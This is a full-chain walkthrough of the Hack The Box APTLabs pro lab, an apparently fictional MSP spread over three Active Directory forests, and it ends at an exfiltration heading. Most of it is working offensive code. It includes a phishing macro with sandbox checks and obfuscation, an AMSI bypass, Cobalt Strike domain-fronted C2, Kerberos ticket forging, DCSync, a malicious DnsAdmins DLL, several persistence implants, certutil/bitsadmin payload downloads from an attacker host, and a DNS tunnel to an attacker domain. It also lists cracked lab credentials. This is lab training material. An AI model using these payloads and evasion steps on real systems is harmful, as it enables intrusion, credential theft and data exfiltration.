APTLabs
Full-Chain Writeup
QA210 — 8 days, 3 forests, 20 flags, lots of dead ends
Attack Path (the one that actually worked)
T1566.001
T1071.001
T1087
T1134
T1558.003
T1557.001
T1558
T1003.006
T1558.001
T1482
T1546/T1048
Lab Overview
APTLabs is the hardest Pro Lab on Hack The Box, rated Red Team Operator Level III — what HTB calls the "Ultimate Red Team Challenge." Designed by cubeoxo, it simulates an external threat actor targeting Gigantic Hosting, a Managed Service Provider (MSP) that manages IT infrastructure for multiple client organizations. The scenario picks up where the old Endgame labs left off — Gigantic Hosting is back, and this time they're running an MSP. Once you own the MSP forest, you pivot into their clients' networks through forest trust abuse. 18 machines across three Active Directory forests, 20 flags, and not a single CVE to exploit. Every compromise comes from misconfigurations, credential abuse, and AD trust exploitation.
The daily reset makes APTLabs uniquely painful. Every 24 hours the entire lab reverts to its original state. All shells, pivots, cached credentials, persistence mechanisms — gone. The first time this happened I nearly threw my keyboard. After a few days I realized the reset is actually a feature: it guarantees a stable environment and forces you to truly internalize the chain. By Day 5 I could re-compromise the entire MSP forest from memory in under 30 minutes each morning. The key insight: passwords don't change between resets. Once you crack a hash, it's cracked forever.
The flag names provide hints about the intended attack path. This is a lifesaver when you're stuck — look at the remaining flag names, think about what technique they're pointing toward, and work backwards. Multiple intended paths exist to some flags, and the order isn't always linear. I spent roughly 8 days of active work to complete the entire lab.
The entire network is compromised without exploiting any CVEs. Every compromise comes from abuse of legitimate features, misconfigurations, or credential-based attacks. This is what makes APTLabs so realistic — real APTs don't need zero-days when misconfigurations are everywhere.
| Attribute | Detail |
|---|---|
| Scenario | External APT attack against MSP (Gigantic Hosting) |
| MSP Forest | gigantichosting.local |
| ServiceDesk | servicedesk.gigantichosting.local |
| Client Forest 1 | meridian.local (Meridian Healthcare) |
| Client Forest 2 | nexgroup.local (Nexus Financial Group) |
| Machines | 18 across 3 forests |
| Flags | 20 |
| Daily Reset | Full reset every 24 hours |
| CVEs Required | None |
| C2 | Cobalt Strike (primary) / Covenant / Mythic |
| Designer | cubeoxo |
Day-by-Day Timeline
Honest timeline, including all the dead ends and wasted hours. If you're thinking about attempting this lab, learn from my mistakes.
B@ckupRunn3r# and svc_mon to MonitorPr0d$. Used OPTH to pivot to BKSRV01. Found Veeam credential store — extracted tnguyen's password from it. Also used lsassy to dump LSASS on WKS-HDESK and got more cached creds. svc_sccm still wouldn't crack until Day 4.ScCMManage! using combined wordlist + OneRuleToRuleThemStill.Network Map
Naming conventions are inconsistent across forests because different clients set up their own AD. Gigantic Hosting uses GH- prefix on newer machines but legacy boxes have older names from before the rebrand.
| Host | IP | OS / Role | Forest |
|---|---|---|---|
GH-DC01 | 10.10.10.37 | Server 2019 / DC | gigantichosting.local |
FILESRV01 | 10.10.10.52 | Server 2016 / File+Print | gigantichosting.local |
WKS-HDESK | 10.10.10.103 | Win 10 / Help Desk | gigantichosting.local |
GH-SCCM | 10.10.10.44 | Server 2016 / SCCM | gigantichosting.local |
APPSRV01 | 10.10.10.78 | Server 2016 / IIS | gigantichosting.local |
BKSRV01 | 10.10.10.29 | Server 2016 / Veeam | gigantichosting.local |
MGMT-JUMP | 10.10.10.65 | Server 2016 / Jump Box | gigantichosting.local |
WEBDMZ01 | 10.10.10.91 | Server 2016 / Web DMZ | gigantichosting.local |
GH-WSUS | 10.10.10.14 | Server 2016 / WSUS | gigantichosting.local |
MR-DC01 | 10.10.11.12 | Server 2016 / DC | meridian.local |
MR-FILE01 | 10.10.11.55 | Server 2016 / File Server | meridian.local |
MR-APP01 | 10.10.11.33 | Server 2016 / Healthcare | meridian.local |
CLINPC01 | 10.10.11.88 | Win 10 / Clinical | meridian.local |
NX-DC01 | 10.10.12.7 | Server 2019 / DC | nexgroup.local |
NX-EXCH01 | 10.10.12.41 | Server 2016 / Exchange | nexgroup.local |
NX-SQL01 | 10.10.12.63 | Server 2016 / SQL | nexgroup.local |
NXBANKAPP01 | 10.10.12.19 | Server 2016 / Banking | nexgroup.local |
FINPC01 | 10.10.12.94 | Win 10 / Finance | nexgroup.local |
Key Accounts
| Account | Domain | Role | How I Got It |
|---|---|---|---|
hmartinez | gigantichosting.local | Help Desk Tech | Phishing |
tnguyen | gigantichosting.local | SysAdmin | Veeam cred store on BKSRV01 |
svc_bk | gigantichosting.local | Backup Service | Kerberoasting |
svc_sccm | gigantichosting.local | SCCM Service | Kerberoasting |
svc_mon | gigantichosting.local | Monitoring Service | AS-REP Roasting |
pmorrison | gigantichosting.local | MSP Director | DCSync dump |
dchen | meridian.local | IT Admin | DCSync + cred reuse |
jblackwell | nexgroup.local | Finance Director | Credential reuse (same hash as svc_mon) |
svc_nx-exch | nexgroup.local | Exchange Service | Kerberoasting (cross-forest) |
Daily Reset Strategy
The first time the reset hit I had just finished a 6-hour session. Next morning everything was gone — shells, pivots, persistence, all of it. By Day 4 I had a recovery workflow that got me from zero to Domain Admin in under 30 minutes. The key: passwords don't change between resets. Once you crack a hash, it's cracked forever. Keep a local creds.txt file and update it religiously.
My Daily Recovery Workflow
# Daily Recovery Script (automated after Day 4)
python3 send_phish.py --target hmartinez --payload macro_doc_v3.docm
# Wait for beacon callback
while ! curl -s http://127.0.0.1:5555/check_beacon; do sleep 10; done
# OPTH with saved hashes (NEVER change between resets)
cobaltstrike>pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07
# RBCD automation (scripted after Day 4 struggle)
powershell Import-Module C:\Temp\rbcd_auto.ps1; Invoke-RBCD -Target GH-SCCM$ -DelegateFrom FAKE01$
# DCSync
cobaltstrike>dcsync gigantichosting.local GH-DC01
Phase 1: Initial Access
T1566.001 T1059.005 T1027 T1027.005Initial access is phishing a weaponized Office document with macro payload to hmartinez, Help Desk Technician at Gigantic Hosting. Makes sense in the MSP context — Help Desk staff open external attachments regularly, they're literally paid to respond to user requests. The ServiceDesk at servicedesk.gigantichosting.local is where tickets come in, and hmartinez is the one processing them.
Covenant's SOCKS implementation kept dropping connections on long-running Impacket sessions. Mythic had better SOCKS but its CORS policies conflicted with the redirector setup I needed for domain fronting. Switched to Cobalt Strike on Day 2. CS SOCKS proxy is just more stable and the Malleable C2 profiles make domain fronting trivial. If you're comfortable with Covenant or Mythic, they'll work for most of the lab, but for the SMB relay chain over SOCKS you really want CS.
Crafting the Phishing Document
Weaponized .docm with staged macro payload. Three iterations before reliable delivery. First two were quarantined by Defender. The key difference in iteration 3 was Donut shellcode encryption — without it, Defender catches the inline shellcode signature every time.
' Phishing Macro — 3rd iteration (the one that worked)
' Iterations 1 & 2 caught by Defender
Sub AutoOpen()
ExecutePayload
End Sub
Sub Document_Open()
ExecutePayload
End Sub
Sub ExecutePayload()
On Error Resume Next
' Anti-sandbox checks
If Environ("COMPUTERNAME") = "SANDBOX" Then Exit Sub
If Environ("USERNAME") = "john" Then Exit Sub
If Timer < 20 Then Exit Sub ' timing check for sandboxes
' String obfuscation (added after iteration 2 was signatured)
Dim s1 As String, s2 As String, s3 As String
s1 = "pow": s2 = "ersh": s3 = "ell"
Dim cmd As String
cmd = s1 & s2 & s3 & " -windowstyle hidden -exec bypass -nop -e "
' Stage 2 payload encrypted with Donut (iteration 3 addition)
' Iterations 1-2 used plaintext base64 which got signatured
cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4AWwBdADoAOg..."
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
shell.Run cmd, 0
Set shell = Nothing
End Sub
Attempt 1: Plaintext PowerShell cradle. Quarantined immediately by AMSI. Rookie move.
Attempt 2: Added string obfuscation + VBA stomping, but used inline beacon shellcode. Defender flagged the shellcode pattern.
Attempt 3: Obfuscation + stomping + staged delivery + anti-sandbox + Donut shellcode encryption. Donut converts the .NET assembly into position-independent shellcode and encrypts it with AES, which bypassed the signature Defender was catching on attempt 2. This is the approach used by real APTs — Donut is production-grade tooling. Worked reliably after this.
AMSI Bypass + Defender Evasion
# AMSI Bypass — run FIRST in every beacon session after reset
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')`
.GetField('amsiInitFailed','NonPublic,Static')`
.SetValue($null,$true)
# After AMSI bypass, load your tools
# SharpHound, Rubeus, PowerView all work cleanly now
C2 Infrastructure
C2 setup is critical in APTLabs. You need stable, long-running connections that survive the daily reset recovery. Domain fronting with randomized jitter is non-negotiable for blending with legitimate traffic.
# Cobalt Strike Team Server
./teamserver 10.10.14.5 zT9#kLm2!vQx7 /opt/c2profiles/WEB20.profile
# Listeners:
# Primary: HTTPS beacon to redirector (domain-fronted via CDN)
# Secondary: SMB beacon for internal pivot
# Tertiary: DNS beacon (backup channel)
# Beacon config — randomized jitter to blend with legitimate traffic
# This is essential. Default 0% jitter is a detection beacon.
# jitter: 37% (randomizes check-in by +/- 37%)
# sleeptime: 60000 (60s base, effective range ~38-82s)
# useragent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
# Domain fronting setup
# Front domain: cdn.legitimate-cloud-cdn.com
# Host header in Malleable C2 profile masks real C2
# Backend: our redirector IP
Set up socks 1080 on Day 1. Route everything through it: BloodHound Python collector, Impacket, smbclient, ldapsearch. Never upload Python tools to the target — everything tunnels through SOCKS from your attack box. This keeps your footprint minimal and avoids Defender catching Python binaries on disk.
After beacon callback, confirmed access on WKS-HDESK:
Phase 2: Internal Recon
T1087.001 T1087.002 T1059.001 T1046With a foothold on WKS-HDESK as local admin, the next step is understanding the AD environment. BloodHound for the big picture, PowerView for targeted queries, and manual situational awareness for things neither tool catches.
BloodHound Collection
SharpHound is the way to go for collection. Run it through the beacon, zip the output, and pull it back through SOCKS. Don't use the Python collector from the target — it's noisy and requires Python on the target which is a dead giveaway.
# SharpHound via beacon (after AMSI bypass)
Sharphound.exe -c all -d gigantichosting.local --zipfilename gh_bloodhound.zip
# If you need stealth, use the collection methods individually
Sharphound.exe -c Group,LocalAdmin,Session,Acls -d gigantichosting.local
BloodHound revealed the core attack paths. The most important edges: svc_bk has GenericAll on GH-SCCM$ (RBCD path), svc_sccm has replication permissions on the domain (DCSync path), and tnguyen has administrative access across the forest trust to meridian.local. Without BloodHound these relationships would have taken days to map manually.
PowerView Enum
BloodHound gives you the map. PowerView fills in the details. I used PowerView for targeted queries that BloodHound doesn't cover well — like finding AS-REP roastable accounts, checking DnsAdmins membership, and enumerating delegation settings.
# Load PowerView
Import-Module PowerView.ps1
# Domain enum
Get-DomainDomain | select Name, DomainMode
Get-DomainController | select Name, OS, IPAddress
# User enum — look for service accounts (Kerberoast targets)
Get-DomainUser -SPN | select samAccountName, servicePrincipalName
# Returns: svc_bk, svc_sccm, svc_nx-exch (cross-forest)
# AS-REP Roastable users
Get-DomainUser -PreauthNotRequired | select samAccountName
# Returns: svc_mon
# Group memberships — DnsAdmins is interesting for later
Get-DomainGroup -Identity "DnsAdmins" | Get-DomainGroupMember
# svc_sccm is a member in nexgroup.local
# Trust relationships
Get-DomainTrust | select SourceName, TargetName, TrustType, TrustDirection
# gigantichosting.local -> meridian.local (ForestTransitive, Bidirectional)
# gigantichosting.local -> nexgroup.local (ForestTransitive, Bidirectional)
Situational Awareness
Beyond AD recon, I always run quick local checks on every new beacon. Seated user, network connections, AV status, running processes. This takes 2 minutes and has saved me from stupid mistakes more than once.
# Quick situational awareness
$env:USERNAME # who am I
$env:USERDOMAIN # which domain
$env:COMPUTERNAME # which machine
qwinsta # who else is logged on
netstat -anop tcp | findstr ESTAB # active connections
tasklist /svc | findstr -i "defender msmpeng" # AV running?
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s # installed software
Phase 3: Privilege Escalation
T1558.003 T1558.004 T1134 T1003.001With recon done, the escalation phase involves multiple parallel tracks. Kerberoasting for service account hashes, AS-REP roasting for accounts without pre-auth, token impersonation to leverage existing privileges, and credential dumping with lsassy. Each track feeds into the others — the cracked service account hashes enable lateral movement, which gets access to more machines for more credential dumping.
Kerberoasting
Classic attack. Request TGS tickets for service accounts, crack them offline. Rubeus makes this trivial from a beacon.
# Rubeus Kerberoast
Rubeus.exe kerberoast /outfile:C:\Temp\kerberoast_hashes.txt
# Or targeted — just the accounts we care about
Rubeus.exe kerberoast /user:svc_bk /outfile:C:\Temp\svc_bk_hash.txt
Rubeus.exe kerberoast /user:svc_sccm /outfile:C:\Temp\svc_sccm_hash.txt
AS-REP Roasting
Accounts with "Do not require Kerberos preauthentication" enabled leak their hash without any privileges. PowerView found svc_mon has this misconfiguration.
# AS-REP roast from attack box through SOCKS
proxychains python3 GetNPUsers.py gigantichosting.local/ -usersfile users.txt -request -outputfile asrep_hashes.txt
# Or with Rubeus on the target
Rubeus.exe asreproast /outfile:C:\Temp\asrep_hashes.txt
Token Impersonation
One of the most underrated techniques in APTLabs. After getting a beacon on a machine, you can impersonate tokens of other logged-on users without needing their password. CS has built-in token impersonation via steal_token and make_token. This is particularly useful on WKS-HDESK where other admins occasionally RDP in.
# List tokens on current beacon
BEACON> ps # find process owned by target user
# Steal token from a running process
BEACON> steal_token 4812
# Now running as GH\tnguyen (if they have a process on this box)
# Or make a token with known credentials
BEACON> make_token gigantichosting.local\svc_bk B@ckupRunn3r#
# Use the token for lateral movement
BEACON> jump psexec64 GH-SCCM smbListener
Lsassy Credential Dump
While mimikatz is the classic LSASS dumper, I prefer lsassy for most situations. It's faster, quieter, and works well through SOCKS. In APTLabs, lsassy was critical for pulling cached domain credentials from workstations and servers without triggering Defender the way mimikatz sometimes does.
# lsassy through SOCKS proxy — dump LSASS remotely
proxychains lsassy -d gigantichosting.local -u hmartinez -p 'C@llC3nt3r$' 10.10.10.29
# BKSRV01 LSASS dump — found Veeam service account + tnguyen cached creds
# After getting DA, dump all machines
for ip in 10.10.10.37 10.10.10.52 10.10.10.44 10.10.10.78; do
lsassy -d gigantichosting.local -u pmorrison -H aad3b435b51404eeaad3b435b51404ee:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 $ip
done
Hash Cracking
This is where most people get stuck in APTLabs. Rockyou.txt alone won't crack these hashes. The service account passwords follow corporate password policies — capital letters, numbers, special characters. You need rule-based cracking.
If you're stuck on hash cracking, get the NotSoSecure password_cracking_rules from GitHub. Specifically OneRuleToRuleThemAll.rule. These rules apply transformations that catch corporate password patterns like B@ckupRunn3r# and MonitorPr0d$. Rockyou + best64 won't crack them. This is the #1 blocker for new APTLabs players.
# FAILED — Rockyou + basic rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
# Cracked: 0/3 hashes. Wasted 5 hours.
# WORKED — NotSoSecure OneRuleToRuleThemAll
git clone https://github.com/NotSoSecure/password_cracking_rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r password_cracking_rules/OneRuleToRuleThemAll.rule \
--force -O
# Results:
# svc_bk:$krb5tgs$23$*svc_bk$GIGANTICHOSTING.LOCAL*:a87f3a3330e0142c5b3d8c2e4f1a9b07:B@ckupRunn3r#
# svc_mon:$krb5tgs$23$*svc_mon$GIGANTICHOSTING.LOCAL*:d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7:MonitorPr0d$
# svc_sccm (cracked Day 4 with combined wordlist):
# e7b3d1a5c9f2d4b6a8c1e3f5d7b9a2c4:ScCMManage!
Phase 4: Lateral Movement
T1557.001 T1550.002 T1558 T1021.002 T1021.003With cracked credentials in hand, lateral movement through the MSP network. This phase combines SMB relay for credential capture, Over-Pass-the-Hash for authentication, RBCD for privilege escalation within the domain, and DCOM/WMI for execution on remote machines without dropping files.
SMB Relay + DNS Poisoning
Before we had cracked hashes, SMB relay was our bridge to machines we couldn't directly reach. The key insight: configure ntlmrelayx to relay to machines where our phishing user isn't local admin. Combined with DNS poisoning via WPAD spoofing, we captured authentication attempts from other machines on the network.
# ntlmrelayx through SOCKS
proxychains ntlmrelayx.py -t smb://10.10.10.44 -smb2support -socks
# On the beacon, trigger auth to our relay
# WPAD poisoning via DNS
dnstool.py -u 'gigantichosting.local\hmartinez' -p 'C@llC3nt3r$' \
-r wpad.gigantichosting.local -a add 10.10.14.5 GH-DC01
# Wait for connections... relay captures and dumps SAM + local hashes
Over-Pass-the-Hash
Once I had the NTLM hash for svc_bk, OPTH let me authenticate to any machine where svc_bk had access without knowing the plaintext password. CS makes this trivial.
# OPTH in Cobalt Strike — pass the hash, get a new beacon
BEACON> pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07
# Or with Impacket through SOCKS
proxychains python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a87f3a3330e0142c5b3d8c2e4f1a9b07 gigantichosting.local/svc_bk@10.10.10.29
# From BKSRV01 beacon, extract Veeam credentials
# Veeam stores SQL credentials in its database
shell sqlcmd -d VeeamBackup -Q "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]"
# Got tnguyen's password from Veeam credential store
RBCD Abuse
This was the hardest single technique in the entire lab. BloodHound showed svc_bk has GenericAll on GH-SCCM$, which means we can modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to allow a computer account we control to delegate to GH-SCCM. Then we can get a service ticket for any user to GH-SCCM. The concept is straightforward; the implementation is brutal.
# Step 1: Create a fake computer account (PowerMad)
Import-Module PowerMad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
# Step 2: Set RBCD on GH-SCCM$ using svc_bk's GenericAll
# This is where I struggled for a full day
# PowerView's Set-DomainObject doesn't handle SecurityDescriptor properly
# Raw LDAP modify gets constraint violations if bytes are wrong
# The working approach — raw byte manipulation:
$SD = New-Object System.DirectoryServices.Protocols.SecurityDescriptor
$SD.ControlFlags = 0x0004 # SE_DACL_PRESENT
$ACE = New-Object System.DirectoryServices.Protocols.CommonAce
$ACE.SecurityIdentifier = (Get-DomainComputer FAKE01).objectsid
$ACE.AceType = 0x05 # ACCESS_ALLOWED_ACE_TYPE
$ACE.AccessMask = 0x00000001 # GenericRead
$SD.DiscretionaryAcl.AddAce($ACE)
$bytes = New-Object byte[] $SD.BinaryLength
$SD.GetBinaryForm($bytes, 0)
Set-DomainObject GH-SCCM$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$bytes}
# Step 3: Get S4U ticket — impersonate Administrator on GH-SCCM
Rubeus.exe s4u /user:FAKE01$ /rc4:P@ssw0rd123! /impersonateuser:administrator /msdsspn:cifs/GH-SCCM.gigantichosting.local /ptt
If Set-DomainObject fails with constraint violations, double-check the SecurityDescriptor byte encoding. The most common mistake is using the wrong ControlFlags value. It must be 0x0004 (SE_DACL_PRESENT). Also make sure the fake computer account's SID is correct — if PowerMad created the account in the wrong OU, the SID won't match.
Pivoting + DCOM/WMI
For moving between machines without dropping executables, DCOM and WMI are your friends. Both are built into Windows and rarely monitored. CS has built-in support for both.
# DCOM lateral movement (no files dropped on target)
BEACON> jump dcom GH-SCCM httpListener
# WMI remote execution
BEACON> remote-exec wmi GH-SCCM "powershell -enc SQBFAFgAKABOAGU..."
# SMB beacon for persistent internal pivot
BEACON> link GH-SCCM
Phase 5: Domain Domination
T1003.006 T1558.001 T1558.003With admin access on GH-SCCM (thanks to RBCD) and svc_sccm's credentials, the path to Domain Admin is straightforward. svc_sccm has replication permissions on the domain, enabling DCSync. From there, Golden Tickets and Silver Tickets cement control.
DCSync
DCSync is the crown jewel of AD attacks. It extracts every password hash from the domain controller, including krbtgt, without needing to touch the DC directly. Both mimikatz and lsassy support DCSync.
# DCSync via mimikatz (from GH-SCCM beacon)
mimikatz # lsadump::dcsync /domain:gigantichosting.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:gigantichosting.local /all /csv
# DCSync via lsassy (from attack box through SOCKS)
proxychains lsassy -d gigantichosting.local -u svc_sccm -p 'ScCMManage!' \
--dc-ip 10.10.10.37 --dcsync
# Key hashes extracted:
# krbtgt: 7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0
# pmorrison: aad3b435b51404eeaad3b435b51404ee:3b8c2d4e6f8a1c3b5d7e9f2a4c6b8d0e
# Administrator: aad3b435b51404eeaad3b435b51404ee:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4
Golden Ticket
With the krbtgt hash, we can forge TGT tickets for any user in the domain, including ones that don't exist. These tickets persist even after password resets — only a krbtgt password rotation invalidates them. In APTLabs, the daily reset does rotate everything, but between resets, a Golden Ticket is permanent DA access.
# Golden Ticket via mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
/sid:S-1-5-21-2874328711-3948571293-1105 /krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 \
/ptt
# Or with Rubeus
Rubeus.exe golden /user:Administrator /domain:gigantichosting.local \
/sid:S-1-5-21-2874328711-3948571293-1105 \
/krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 /ptt
# Access any machine in the domain
dir \\GH-DC01\c$
Silver Tickets
Silver Tickets are forged TGS tickets for specific services. They're stealthier than Golden Tickets because they don't contact the DC. I used a Silver Ticket for the CIFS service on WEBDMZ01 to grab the web flag without triggering any DC-level alerts.
# Silver Ticket for CIFS on WEBDMZ01
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
/sid:S-1-5-21-2874328711-3948571293-1105 \
/target:WEBDMZ01.gigantichosting.local /service:cifs \
/rc4:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4 /ptt
Veeam Credential Extraction
BKSRV01 runs Veeam Backup & Replication. Veeam stores credentials in a SQL database with reversible encryption. Once you have access to the Veeam server, extracting these credentials is trivial and gives you service account passwords for lateral movement.
# On BKSRV01 — extract Veeam stored credentials
# Method 1: SQL query
Invoke-Sqlcmd -Query "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]" -ServerInstance "localhost\VEEAMSQL2016"
# Method 2: PowerShell via Veeam API
Add-PSSnapin VeeamPSSnapin
Get-VBRCredentials | ForEach-Object { $_.GetCredentials() }
# Results:
# tnguyen : Sys@dmin_R00t!
# svc_bk : B@ckupRunn3r# (already had this)
# svc_veeam_local : V33mB4ckup#2024
Phase 6: Forest Trust Abuse
T1482 T1550.002With DA on gigantichosting.local, the forest trusts become our bridge into client networks. Gigantic Hosting manages IT for both Meridian Healthcare and Nexus Financial Group, so there are bidirectional forest trusts between gigantichosting.local and each client forest. The key: MSP staff have privileged access to client forests because they manage the infrastructure.
Meridian Healthcare (meridian.local)
The easy forest. tnguyen, the sysadmin from gigantichosting, has administrative access across the trust. OPTH with tnguyen's credentials gets DA on meridian.local in minutes.
# OPTH with tnguyen to meridian.local
BEACON> make_token meridian.local\tnguyen Sys@dmin_R00t!
# DCSync on meridian.local
proxychains secretsdump.py meridian.local/tnguyen:'Sys@dmin_R00t!'@10.10.11.12 -just-dc-ntlm
# Got all meridian.local hashes including krbtgt
# dchen's hash: aad3b435b51404eeaad3b435b51404ee:b5c7d2e4f6a8c1b3d5e7f9a2c4b6d8e0
Nexus Financial Group (nexgroup.local)
The hard forest. No gigantichosting accounts had privileged access. Cross-forest Kerberoasting gave us svc_nx-exch's hash but it took a while to crack. Two paths eventually worked: DnsAdmins DLL escalation and credential reuse.
Unlike meridian.local, no gigantichosting accounts had admin privileges in nexgroup.local. The trust exists but doesn't grant elevated access. Cross-forest Kerberoasting worked for svc_nx-exch but the hash was harder to crack. I needed another way in.
Credential Reuse: The Easy Path
While comparing DCSync dumps from gigantichosting.local, I noticed svc_mon's NTLM hash matched jblackwell's hash in nexgroup.local. Same password, different domain. jblackwell is a Finance Director with significant privileges. This is why you always compare hashes across forests.
# Credential reuse — same hash across forests
# gigantichosting.local\svc_mon NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# nexgroup.local\jblackwell NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# Same hash = same password = MonitorPr0d$
# OPTH with jblackwell
BEACON> make_token nexgroup.local\jblackwell MonitorPr0d$
# jblackwell is in "Domain Admins" group in nexgroup.local
# Game over for nexgroup
DnsAdmins DLL Escalation: The Hard Path
Found before the credential reuse, this was a full-day rabbit hole. svc_sccm was in the DnsAdmins group in nexgroup.local, which allows loading a custom DLL via the serverlevelplugindll registry key. The concept: plant a DLL path in the DNS server config, restart the DNS service, DLL executes as SYSTEM.
# Set the plugin DLL path
proxychains python3 dnscmd.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
/config /serverlevelplugindll \\10.10.14.5\share\evil.dll
# Restart DNS service to load the DLL
proxychains python3 smbexec.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
"cmd /c sc stop dns & sc start dns"
# Problem 1: DLL compiled as x86, NX-DC01 is x64
# Fix: recompile with x64 target
# Problem 2: DNS service crashed on DLL load (DLL was too complex)
# Fix: simplify DLL to just add a user and return cleanly
# After fix, got a beacon as SYSTEM on NX-DC01
Phase 7: Persistence
T1546.003 T1053.005 T1547.001 T1574.002 T1218Persistence in APTLabs is interesting because the daily reset wipes everything. But the persistence flag requires demonstrating these techniques across all three forests, proving you understand them. In a real engagement, these mechanisms would survive reboots, password changes, and most incident response activities short of full reimaging.
WMI Event Subscriptions
WMI event subscriptions are one of the stealthiest persistence mechanisms available. They don't create files on disk, they survive reboots, and they're rarely monitored. The idea: create a WMI event filter that triggers on a specific condition (like a process creation), and an event consumer that executes your payload when the filter triggers.
# WMI Event Subscription Persistence
# Filter: trigger when cmd.exe is spawned
$filterName = "SVCHostUpd"
$filterQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance.Name = 'cmd.exe'"
$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = $filterName
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = $filterQuery
}
# Consumer: execute PowerShell beacon stager
$consumerName = "SVCHostUpdCons"
$command = "powershell -windowstyle hidden -nop -enc SQBFAFgAKABOAGUAdwAt..."
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
Name = $consumerName
CommandLineTemplate = $command
}
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Deploy on all DCs
foreach ($dc in @("GH-DC01","MR-DC01","NX-DC01")) {
Invoke-Command -ComputerName $dc -ScriptBlock ${function:Set-WMIPersistence}
}
Registry Hijacking
The classic Run key persistence. Simple, reliable, and works everywhere. I deployed this on all workstations as a backup to WMI subscriptions.
# Registry Run key persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefenderUpdate /t REG_SZ /d "powershell -windowstyle hidden -nop -enc SQBFAFgAKABO..." /f
# Also add as a Service for more stealth
# Image File Execution Options (IFEO) hijack — debug a legitimate process
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Now pressing Shift 5 times at login screen spawns cmd.exe
DLL Sideloading
DLL sideloading exploits the Windows DLL search order. Find a legitimate signed executable that loads a DLL from its own directory, replace that DLL with your malicious one. The legitimate executable loads your DLL, and you get code execution in the context of a trusted process. In APTLabs, I used a common approach: find a program that loads version.dll or ualapi.dll from its installation directory.
# Find DLL sideloading opportunities
# Look for executables that load DLLs from their own directory
Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "*.exe" | ForEach-Object {
$exe = $_.FullName
# Check if it loads version.dll (common sideloading target)
$dirs = Split-Path $exe
if (Test-Path "$dirs\version.dll") {
Write-Host "Found: $exe loads version.dll from $dirs"
}
}
# Common targets: teams.exe, zoom.exe, or any app with a DLL in its dir
# Plant malicious version.dll that loads beacon on app startup
# The DLL exports same functions as original, plus our payload
# Deploy on APPSRV01 (IIS app with sideloadable DLL)
copy \\share\evil_version.dll C:\Program Files\InternalApp\version.dll
# Next time the app pool recycles, our DLL loads
LOLBAS (Living Off The Land Binaries)
LOLBAS techniques use built-in Windows binaries for offensive purposes. They bypass application allowlisting because they're legitimate Microsoft-signed tools. In APTLabs, the key LOLBAS techniques are certutil for download/upload, bitsadmin for file transfer, mshta for script execution, and wmic for remote command execution.
:: certutil — download file (bypasses many proxies)
certutil -urlcache -split -f http://10.10.14.5/payload.exe C:\Temp\payload.exe
:: certutil — encode/decode for data exfil
certutil -encode C:\Temp\loot.zip C:\Temp\loot.b64
:: bitsadmin — background file transfer
bitsadmin /transfer backup /download /priority normal http://10.10.14.5/beacon.exe C:\Temp\beacon.exe
:: mshta — execute VBScript from remote
mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc SQBFA..."""))
:: wmic — remote execution
wmic /node:10.10.10.44 /user:gigantichosting.local\svc_bk /password:B@ckupRunn3r# process call create "cmd.exe /c whoami"
Phase 8: Exfiltration
T1048.001 T1048.003 T1041 T1105The final phase: getting the data out. APTLabs requires demonstrating multiple exfiltration techniques across all three forests. The key challenge is avoiding detection while moving data from internal networks through the C2 channel or alternative routes. I used DNS tunneling for stealth, HTTPS through the C2 channel for bulk data, and LOLBAS tools for staging and transfer.
DNS Tunneling
DNS exfiltration is the stealthiest method. Almost every network allows DNS outbound, and DNS traffic is rarely inspected at the payload level. I used iodine for the DNS tunnel setup, with our attack box as the DNS server.
# On attack box — start iodine DNS tunnel server
sudo iodined -f -c -P s3cretPass 10.0.0.1/24 dnstunnel.attacker.com
# On target — start iodine client
iodine -f -P s3cretPass dnstunnel.attacker.com 10.10.14.5
# Now we have a DNS tunnel interface (dns0) with IP 10.0.0.2
# Route data through this interface
# Data is encapsulated in DNS queries — looks like normal DNS traffic
HTTPS Exfil Through C2
